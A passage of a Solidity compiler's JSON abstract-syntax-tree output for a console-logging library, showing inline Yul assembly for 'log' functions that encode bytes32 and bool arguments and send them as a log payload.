r":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36021,"nodeType":"VariableDeclarationStatement","src":"71195:10:22"},{"AST":{"nativeSrc":"71224:856:22","nodeType":"YulBlock","src":"71224:856:22","statements":[{"body":{"nativeSrc":"71267:313:22","nodeType":"YulBlock","src":"71267:313:22","statements":[{"nativeSrc":"71285:15:22","nodeType":"YulVariableDeclaration","src":"71285:15:22","value":{"kind":"number","nativeSrc":"71299:1:22","nodeType":"YulLiteral","src":"71299:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"71289:6:22","nodeType":"YulTypedName","src":"71289:6:22","type":""}]},{"body":{"nativeSrc":"71370:40:22","nodeType":"YulBlock","src":"71370:40:22","statements":[{"body":{"nativeSrc":"71399:9:22","nodeType":"YulBlock","src":"71399:9:22","statements":[{"nativeSrc":"71401:5:22","nodeType":"YulBreak","src":"71401:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"71387:6:22","nodeType":"YulIdentifier","src":"71387:6:22"},{"name":"w","nativeSrc":"71395:1:22","nodeType":"YulIdentifier","src":"71395:1:22"}],"functionName":{"name":"byte","nativeSrc":"71382:4:22","nodeType":"YulIdentifier","src":"71382:4:22"},"nativeSrc":"71382:15:22","nodeType":"YulFunctionCall","src":"71382:15:22"}],"functionName":{"name":"iszero","nativeSrc":"71375:6:22","nodeType":"YulIdentifier","src":"71375:6:22"},"nativeSrc":"71375:23:22","nodeType":"YulFunctionCall","src":"71375:23:22"},"nativeSrc":"71372:36:22","nodeType":"YulIf","src":"71372:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"71327:6:22","nodeType":"YulIdentifier","src":"71327:6:22"},{"kind":"number","nativeSrc":"71335:4:22","nodeType":"YulLiteral","src":"71335:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"71324:2:22","nodeType":"YulIdentifier","src":"71324:2:22"},"nativeSrc":"71324:16:22","nodeType":"YulFunctionCall","src":"71324:16:22"},"nativeSrc":"71317:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"71341:28:22","nodeType":"YulBlock","src":"71341:28:22","statements":[{"nativeSrc":"71343:24:22","nodeType":"YulAssignment","src":"71343:24:22","value":{"arguments":[{"name":"length","nativeSrc":"71357:6:22","nodeType":"YulIdentifier","src":"71357:6:22"},{"kind":"number","nativeSrc":"71365:1:22","nodeType":"YulLiteral","src":"71365:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"71353:3:22","nodeType":"YulIdentifier","src":"71353:3:22"},"nativeSrc":"71353:14:22","nodeType":"YulFunctionCall","src":"71353:14:22"},"variableNames":[{"name":"length","nativeSrc":"71343:6:22","nodeType":"YulIdentifier","src":"71343:6:22"}]}]},"pre":{"nativeSrc":"71321:2:22","nodeType":"YulBlock","src":"71321:2:22","statements":[]},"src":"71317:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"71434:3:22","nodeType":"YulIdentifier","src":"71434:3:22"},{"name":"length","nativeSrc":"71439:6:22","nodeType":"YulIdentifier","src":"71439:6:22"}],"functionName":{"name":"mstore","nativeSrc":"71427:6:22","nodeType":"YulIdentifier","src":"71427:6:22"},"nativeSrc":"71427:19:22","nodeType":"YulFunctionCall","src":"71427:19:22"},"nativeSrc":"71427:19:22","nodeType":"YulExpressionStatement","src":"71427:19:22"},{"nativeSrc":"71463:37:22","nodeType":"YulVariableDeclaration","src":"71463:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"71480:3:22","nodeType":"YulLiteral","src":"71480:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"71489:1:22","nodeType":"YulLiteral","src":"71489:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"71492:6:22","nodeType":"YulIdentifier","src":"71492:6:22"}],"functionName":{"name":"shl","nativeSrc":"71485:3:22","nodeType":"YulIdentifier","src":"71485:3:22"},"nativeSrc":"71485:14:22","nodeType":"YulFunctionCall","src":"71485:14:22"}],"functionName":{"name":"sub","nativeSrc":"71476:3:22","nodeType":"YulIdentifier","src":"71476:3:22"},"nativeSrc":"71476:24:22","nodeType":"YulFunctionCall","src":"71476:24:22"},"variables":[{"name":"shift","nativeSrc":"71467:5:22","nodeType":"YulTypedName","src":"71467:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"71528:3:22","nodeType":"YulIdentifier","src":"71528:3:22"},{"kind":"number","nativeSrc":"71533:4:22","nodeType":"YulLiteral","src":"71533:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"71524:3:22","nodeType":"YulIdentifier","src":"71524:3:22"},"nativeSrc":"71524:14:22","nodeType":"YulFunctionCall","src":"71524:14:22"},{"arguments":[{"name":"shift","nativeSrc":"71544:5:22","nodeType":"YulIdentifier","src":"71544:5:22"},{"arguments":[{"name":"shift","nativeSrc":"71555:5:22","nodeType":"YulIdentifier","src":"71555:5:22"},{"name":"w","nativeSrc":"71562:1:22","nodeType":"YulIdentifier","src":"71562:1:22"}],"functionName":{"name":"shr","nativeSrc":"71551:3:22","nodeType":"YulIdentifier","src":"71551:3:22"},"nativeSrc":"71551:13:22","nodeType":"YulFunctionCall","src":"71551:13:22"}],"functionName":{"name":"shl","nativeSrc":"71540:3:22","nodeType":"YulIdentifier","src":"71540:3:22"},"nativeSrc":"71540:25:22","nodeType":"YulFunctionCall","src":"71540:25:22"}],"functionName":{"name":"mstore","nativeSrc":"71517:6:22","nodeType":"YulIdentifier","src":"71517:6:22"},"nativeSrc":"71517:49:22","nodeType":"YulFunctionCall","src":"71517:49:22"},"nativeSrc":"71517:49:22","nodeType":"YulExpressionStatement","src":"71517:49:22"}]},"name":"writeString","nativeSrc":"71238:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"71259:3:22","nodeType":"YulTypedName","src":"71259:3:22","type":""},{"name":"w","nativeSrc":"71264:1:22","nodeType":"YulTypedName","src":"71264:1:22","type":""}],"src":"71238:342:22"},{"nativeSrc":"71593:17:22","nodeType":"YulAssignment","src":"71593:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"71605:4:22","nodeType":"YulLiteral","src":"71605:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"71599:5:22","nodeType":"YulIdentifier","src":"71599:5:22"},"nativeSrc":"71599:11:22","nodeType":"YulFunctionCall","src":"71599:11:22"},"variableNames":[{"name":"m0","nativeSrc":"71593:2:22","nodeType":"YulIdentifier","src":"71593:2:22"}]},{"nativeSrc":"71623:17:22","nodeType":"YulAssignment","src":"71623:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"71635:4:22","nodeType":"YulLiteral","src":"71635:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"71629:5:22","nodeType":"YulIdentifier","src":"71629:5:22"},"nativeSrc":"71629:11:22","nodeType":"YulFunctionCall","src":"71629:11:22"},"variableNames":[{"name":"m1","nativeSrc":"71623:2:22","nodeType":"YulIdentifier","src":"71623:2:22"}]},{"nativeSrc":"71653:17:22","nodeType":"YulAssignment","src":"71653:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"71665:4:22","nodeType":"YulLiteral","src":"71665:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"71659:5:22","nodeType":"YulIdentifier","src":"71659:5:22"},"nativeSrc":"71659:11:22","nodeType":"YulFunctionCall","src":"71659:11:22"},"variableNames":[{"name":"m2","nativeSrc":"71653:2:22","nodeType":"YulIdentifier","src":"71653:2:22"}]},{"nativeSrc":"71683:17:22","nodeType":"YulAssignment","src":"71683:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"71695:4:22","nodeType":"YulLiteral","src":"71695:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"71689:5:22","nodeType":"YulIdentifier","src":"71689:5:22"},"nativeSrc":"71689:11:22","nodeType":"YulFunctionCall","src":"71689:11:22"},"variableNames":[{"name":"m3","nativeSrc":"71683:2:22","nodeType":"YulIdentifier","src":"71683:2:22"}]},{"nativeSrc":"71713:17:22","nodeType":"YulAssignment","src":"71713:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"71725:4:22","nodeType":"YulLiteral","src":"71725:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"71719:5:22","nodeType":"YulIdentifier","src":"71719:5:22"},"nativeSrc":"71719:11:22","nodeType":"YulFunctionCall","src":"71719:11:22"},"variableNames":[{"name":"m4","nativeSrc":"71713:2:22","nodeType":"YulIdentifier","src":"71713:2:22"}]},{"nativeSrc":"71743:17:22","nodeType":"YulAssignment","src":"71743:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"71755:4:22","nodeType":"YulLiteral","src":"71755:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"71749:5:22","nodeType":"YulIdentifier","src":"71749:5:22"},"nativeSrc":"71749:11:22","nodeType":"YulFunctionCall","src":"71749:11:22"},"variableNames":[{"name":"m5","nativeSrc":"71743:2:22","nodeType":"YulIdentifier","src":"71743:2:22"}]},{"nativeSrc":"71773:17:22","nodeType":"YulAssignment","src":"71773:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"71785:4:22","nodeType":"YulLiteral","src":"71785:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"71779:5:22","nodeType":"YulIdentifier","src":"71779:5:22"},"nativeSrc":"71779:11:22","nodeType":"YulFunctionCall","src":"71779:11:22"},"variableNames":[{"name":"m6","nativeSrc":"71773:2:22","nodeType":"YulIdentifier","src":"71773:2:22"}]},{"nativeSrc":"71803:17:22","nodeType":"YulAssignment","src":"71803:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"71815:4:22","nodeType":"YulLiteral","src":"71815:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"71809:5:22","nodeType":"YulIdentifier","src":"71809:5:22"},"nativeSrc":"71809:11:22","nodeType":"YulFunctionCall","src":"71809:11:22"},"variableNames":[{"name":"m7","nativeSrc":"71803:2:22","nodeType":"YulIdentifier","src":"71803:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"71894:4:22","nodeType":"YulLiteral","src":"71894:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"71900:10:22","nodeType":"YulLiteral","src":"71900:10:22","type":"","value":"0xe298f47d"}],"functionName":{"name":"mstore","nativeSrc":"71887:6:22","nodeType":"YulIdentifier","src":"71887:6:22"},"nativeSrc":"71887:24:22","nodeType":"YulFunctionCall","src":"71887:24:22"},"nativeSrc":"71887:24:22","nodeType":"YulExpressionStatement","src":"71887:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"71931:4:22","nodeType":"YulLiteral","src":"71931:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"71937:4:22","nodeType":"YulLiteral","src":"71937:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"71924:6:22","nodeType":"YulIdentifier","src":"71924:6:22"},"nativeSrc":"71924:18:22","nodeType":"YulFunctionCall","src":"71924:18:22"},"nativeSrc":"71924:18:22","nodeType":"YulExpressionStatement","src":"71924:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"71962:4:22","nodeType":"YulLiteral","src":"71962:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"71968:2:22","nodeType":"YulIdentifier","src":"71968:2:22"}],"functionName":{"name":"mstore","nativeSrc":"71955:6:22","nodeType":"YulIdentifier","src":"71955:6:22"},"nativeSrc":"71955:16:22","nodeType":"YulFunctionCall","src":"71955:16:22"},"nativeSrc":"71955:16:22","nodeType":"YulExpressionStatement","src":"71955:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"71991:4:22","nodeType":"YulLiteral","src":"71991:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"71997:4:22","nodeType":"YulLiteral","src":"71997:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"71984:6:22","nodeType":"YulIdentifier","src":"71984:6:22"},"nativeSrc":"71984:18:22","nodeType":"YulFunctionCall","src":"71984:18:22"},"nativeSrc":"71984:18:22","nodeType":"YulExpressionStatement","src":"71984:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72027:4:22","nodeType":"YulLiteral","src":"72027:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"72033:2:22","nodeType":"YulIdentifier","src":"72033:2:22"}],"functionName":{"name":"writeString","nativeSrc":"72015:11:22","nodeType":"YulIdentifier","src":"72015:11:22"},"nativeSrc":"72015:21:22","nodeType":"YulFunctionCall","src":"72015:21:22"},"nativeSrc":"72015:21:22","nodeType":"YulExpressionStatement","src":"72015:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72061:4:22","nodeType":"YulLiteral","src":"72061:4:22","type":"","value":"0xc0"},{"name":"p2","nativeSrc":"72067:2:22","nodeType":"YulIdentifier","src":"72067:2:22"}],"functionName":{"name":"writeString","nativeSrc":"72049:11:22","nodeType":"YulIdentifier","src":"72049:11:22"},"nativeSrc":"72049:21:22","nodeType":"YulFunctionCall","src":"72049:21:22"},"nativeSrc":"72049:21:22","nodeType":"YulExpressionStatement","src":"72049:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35999,"isOffset":false,"isSlot":false,"src":"71593:2:22","valueSize":1},{"declaration":36002,"isOffset":false,"isSlot":false,"src":"71623:2:22","valueSize":1},{"declaration":36005,"isOffset":false,"isSlot":false,"src":"71653:2:22","valueSize":1},{"declaration":36008,"isOffset":false,"isSlot":false,"src":"71683:2:22","valueSize":1},{"declaration":36011,"isOffset":false,"isSlot":false,"src":"71713:2:22","valueSize":1},{"declaration":36014,"isOffset":false,"isSlot":false,"src":"71743:2:22","valueSize":1},{"declaration":36017,"isOffset":false,"isSlot":false,"src":"71773:2:22","valueSize":1},{"declaration":36020,"isOffset":false,"isSlot":false,"src":"71803:2:22","valueSize":1},{"declaration":35991,"isOffset":false,"isSlot":false,"src":"72033:2:22","valueSize":1},{"declaration":35993,"isOffset":false,"isSlot":false,"src":"71968:2:22","valueSize":1},{"declaration":35995,"isOffset":false,"isSlot":false,"src":"72067:2:22","valueSize":1}],"id":36022,"nodeType":"InlineAssembly","src":"71215:865:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36024,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"72105:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":36025,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"72111:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":36023,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"72089:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36026,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"72089:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36027,"nodeType":"ExpressionStatement","src":"72089:27:22"},{"AST":{"nativeSrc":"72135:243:22","nodeType":"YulBlock","src":"72135:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"72156:4:22","nodeType":"YulLiteral","src":"72156:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"72162:2:22","nodeType":"YulIdentifier","src":"72162:2:22"}],"functionName":{"name":"mstore","nativeSrc":"72149:6:22","nodeType":"YulIdentifier","src":"72149:6:22"},"nativeSrc":"72149:16:22","nodeType":"YulFunctionCall","src":"72149:16:22"},"nativeSrc":"72149:16:22","nodeType":"YulExpressionStatement","src":"72149:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72185:4:22","nodeType":"YulLiteral","src":"72185:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"72191:2:22","nodeType":"YulIdentifier","src":"72191:2:22"}],"functionName":{"name":"mstore","nativeSrc":"72178:6:22","nodeType":"YulIdentifier","src":"72178:6:22"},"nativeSrc":"72178:16:22","nodeType":"YulFunctionCall","src":"72178:16:22"},"nativeSrc":"72178:16:22","nodeType":"YulExpressionStatement","src":"72178:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72214:4:22","nodeType":"YulLiteral","src":"72214:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"72220:2:22","nodeType":"YulIdentifier","src":"72220:2:22"}],"functionName":{"name":"mstore","nativeSrc":"72207:6:22","nodeType":"YulIdentifier","src":"72207:6:22"},"nativeSrc":"72207:16:22","nodeType":"YulFunctionCall","src":"72207:16:22"},"nativeSrc":"72207:16:22","nodeType":"YulExpressionStatement","src":"72207:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72243:4:22","nodeType":"YulLiteral","src":"72243:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"72249:2:22","nodeType":"YulIdentifier","src":"72249:2:22"}],"functionName":{"name":"mstore","nativeSrc":"72236:6:22","nodeType":"YulIdentifier","src":"72236:6:22"},"nativeSrc":"72236:16:22","nodeType":"YulFunctionCall","src":"72236:16:22"},"nativeSrc":"72236:16:22","nodeType":"YulExpressionStatement","src":"72236:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72272:4:22","nodeType":"YulLiteral","src":"72272:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"72278:2:22","nodeType":"YulIdentifier","src":"72278:2:22"}],"functionName":{"name":"mstore","nativeSrc":"72265:6:22","nodeType":"YulIdentifier","src":"72265:6:22"},"nativeSrc":"72265:16:22","nodeType":"YulFunctionCall","src":"72265:16:22"},"nativeSrc":"72265:16:22","nodeType":"YulExpressionStatement","src":"72265:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72301:4:22","nodeType":"YulLiteral","src":"72301:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"72307:2:22","nodeType":"YulIdentifier","src":"72307:2:22"}],"functionName":{"name":"mstore","nativeSrc":"72294:6:22","nodeType":"YulIdentifier","src":"72294:6:22"},"nativeSrc":"72294:16:22","nodeType":"YulFunctionCall","src":"72294:16:22"},"nativeSrc":"72294:16:22","nodeType":"YulExpressionStatement","src":"72294:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72330:4:22","nodeType":"YulLiteral","src":"72330:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"72336:2:22","nodeType":"YulIdentifier","src":"72336:2:22"}],"functionName":{"name":"mstore","nativeSrc":"72323:6:22","nodeType":"YulIdentifier","src":"72323:6:22"},"nativeSrc":"72323:16:22","nodeType":"YulFunctionCall","src":"72323:16:22"},"nativeSrc":"72323:16:22","nodeType":"YulExpressionStatement","src":"72323:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"72359:4:22","nodeType":"YulLiteral","src":"72359:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"72365:2:22","nodeType":"YulIdentifier","src":"72365:2:22"}],"functionName":{"name":"mstore","nativeSrc":"72352:6:22","nodeType":"YulIdentifier","src":"72352:6:22"},"nativeSrc":"72352:16:22","nodeType":"YulFunctionCall","src":"72352:16:22"},"nativeSrc":"72352:16:22","nodeType":"YulExpressionStatement","src":"72352:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35999,"isOffset":false,"isSlot":false,"src":"72162:2:22","valueSize":1},{"declaration":36002,"isOffset":false,"isSlot":false,"src":"72191:2:22","valueSize":1},{"declaration":36005,"isOffset":false,"isSlot":false,"src":"72220:2:22","valueSize":1},{"declaration":36008,"isOffset":false,"isSlot":false,"src":"72249:2:22","valueSize":1},{"declaration":36011,"isOffset":false,"isSlot":false,"src":"72278:2:22","valueSize":1},{"declaration":36014,"isOffset":false,"isSlot":false,"src":"72307:2:22","valueSize":1},{"declaration":36017,"isOffset":false,"isSlot":false,"src":"72336:2:22","valueSize":1},{"declaration":36020,"isOffset":false,"isSlot":false,"src":"72365:2:22","valueSize":1}],"id":36028,"nodeType":"InlineAssembly","src":"72126:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"70994:3:22","parameters":{"id":35996,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35991,"mutability":"mutable","name":"p0","nameLocation":"71006:2:22","nodeType":"VariableDeclaration","scope":36030,"src":"70998:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35990,"name":"bytes32","nodeType":"ElementaryTypeName","src":"70998:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35993,"mutability":"mutable","name":"p1","nameLocation":"71015:2:22","nodeType":"VariableDeclaration","scope":36030,"src":"71010:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35992,"name":"bool","nodeType":"ElementaryTypeName","src":"71010:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35995,"mutability":"mutable","name":"p2","nameLocation":"71027:2:22","nodeType":"VariableDeclaration","scope":36030,"src":"71019:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35994,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71019:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"70997:33:22"},"returnParameters":{"id":35997,"nodeType":"ParameterList","parameters":[],"src":"71045:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36065,"nodeType":"FunctionDefinition","src":"72390:1212:22","nodes":[],"body":{"id":36064,"nodeType":"Block","src":"72453:1149:22","nodes":[],"statements":[{"assignments":[36040],"declarations":[{"constant":false,"id":36040,"mutability":"mutable","name":"m0","nameLocation":"72471:2:22","nodeType":"VariableDeclaration","scope":36064,"src":"72463:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36039,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72463:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36041,"nodeType":"VariableDeclarationStatement","src":"72463:10:22"},{"assignments":[36043],"declarations":[{"constant":false,"id":36043,"mutability":"mutable","name":"m1","nameLocation":"72491:2:22","nodeType":"VariableDeclaration","scope":36064,"src":"72483:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36042,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72483:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36044,"nodeType":"VariableDeclarationStatement","src":"72483:10:22"},{"assignments":[36046],"declarations":[{"constant":false,"id":36046,"mutability":"mutable","name":"m2","nameLocation":"72511:2:22","nodeType":"VariableDeclaration","scope":36064,"src":"72503:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36045,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72503:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36047,"nodeType":"VariableDeclarationStatement","src":"72503:10:22"},{"assignments":[36049],"declarations":[{"constant":false,"id":36049,"mutability":"mutable","name":"m3","nameLocation":"72531:2:22","nodeType":"VariableDeclaration","scope":36064,"src":"72523:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36048,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72523:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36050,"nodeType":"VariableDeclarationStatement","src":"72523:10:22"},{"assignments":[36052],"declarations":[{"constant":false,"id":36052,"mutability":"mutable","name":"m4","nameLocation":"72551:2:22","nodeType":"VariableDeclaration","scope":36064,"src":"72543:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36051,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72543:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36053,"nodeType":"VariableDeclarationStatement","src":"72543:10:22"},{"assignments":[36055],"declarations":[{"constant":false,"id":36055,"mutability":"mutable","name":"m5","nameLocation":"72571:2:22","nodeType":"VariableDeclaration","scope":36064,"src":"72563:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36054,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72563:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36056,"nodeType":"VariableDeclarationStatement","src":"72563:10:22"},{"AST":{"nativeSrc":"72592:764:22","nodeType":"YulBlock","src":"72592:764:22","statements":[{"body":{"nativeSrc":"72635:313:22","nodeType":"YulBlock","src":"72635:313:22","statements":[{"nativeSrc":"72653:15:22","nodeType":"YulVariableDeclaration","src":"72653:15:22","value":{"kind":"number","nativeSrc":"72667:1:22","nodeType":"YulLiteral","src":"72667:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"72657:6:22","nodeType":"YulTypedName","src":"72657:6:22","type":""}]},{"body":{"nativeSrc":"72738:40:22","nodeType":"YulBlock","src":"72738:40:22","statements":[{"body":{"nativeSrc":"72767:9:22","nodeType":"YulBlock","src":"72767:9:22","statements":[{"nativeSrc":"72769:5:22","nodeType":"YulBreak","src":"72769:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"72755:6:22","nodeType":"YulIdentifier","src":"72755:6:22"},{"name":"w","nativeSrc":"72763:1:22","nodeType":"YulIdentifier","src":"72763:1:22"}],"functionName":{"name":"byte","nativeSrc":"72750:4:22","nodeType":"YulIdentifier","src":"72750:4:22"},"nativeSrc":"72750:15:22","nodeType":"YulFunctionCall","src":"72750:15:22"}],"functionName":{"name":"iszero","nativeSrc":"72743:6:22","nodeType":"YulIdentifier","src":"72743:6:22"},"nativeSrc":"72743:23:22","nodeType":"YulFunctionCall","src":"72743:23:22"},"nativeSrc":"72740:36:22","nodeType":"YulIf","src":"72740:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"72695:6:22","nodeType":"YulIdentifier","src":"72695:6:22"},{"kind":"number","nativeSrc":"72703:4:22","nodeType":"YulLiteral","src":"72703:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"72692:2:22","nodeType":"YulIdentifier","src":"72692:2:22"},"nativeSrc":"72692:16:22","nodeType":"YulFunctionCall","src":"72692:16:22"},"nativeSrc":"72685:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"72709:28:22","nodeType":"YulBlock","src":"72709:28:22","statements":[{"nativeSrc":"72711:24:22","nodeType":"YulAssignment","src":"72711:24:22","value":{"arguments":[{"name":"length","nativeSrc":"72725:6:22","nodeType":"YulIdentifier","src":"72725:6:22"},{"kind":"number","nativeSrc":"72733:1:22","nodeType":"YulLiteral","src":"72733:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"72721:3:22","nodeType":"YulIdentifier","src":"72721:3:22"},"nativeSrc":"72721:14:22","nodeType":"YulFunctionCall","src":"72721:14:22"},"variableNames":[{"name":"length","nativeSrc":"72711:6:22","nodeType":"YulIdentifier","src":"72711:6:22"}]}]},"pre":{"nativeSrc":"72689:2:22","nodeType":"YulBlock","src":"72689:2:22","statements":[]},"src":"72685:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"72802:3:22","nodeType":"YulIdentifier","src":"72802:3:22"},{"name":"length","nativeSrc":"72807:6:22","nodeType":"YulIdentifier","src":"72807:6:22"}],"functionName":{"name":"mstore","nativeSrc":"72795:6:22","nodeType":"YulIdentifier","src":"72795:6:22"},"nativeSrc":"72795:19:22","nodeType":"YulFunctionCall","src":"72795:19:22"},"nativeSrc":"72795:19:22","nodeType":"YulExpressionStatement","src":"72795:19:22"},{"nativeSrc":"72831:37:22","nodeType":"YulVariableDeclaration","src":"72831:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"72848:3:22","nodeType":"YulLiteral","src":"72848:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"72857:1:22","nodeType":"YulLiteral","src":"72857:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"72860:6:22","nodeType":"YulIdentifier","src":"72860:6:22"}],"functionName":{"name":"shl","nativeSrc":"72853:3:22","nodeType":"YulIdentifier","src":"72853:3:22"},"nativeSrc":"72853:14:22","nodeType":"YulFunctionCall","src":"72853:14:22"}],"functionName":{"name":"sub","nativeSrc":"72844:3:22","nodeType":"YulIdentifier","src":"72844:3:22"},"nativeSrc":"72844:24: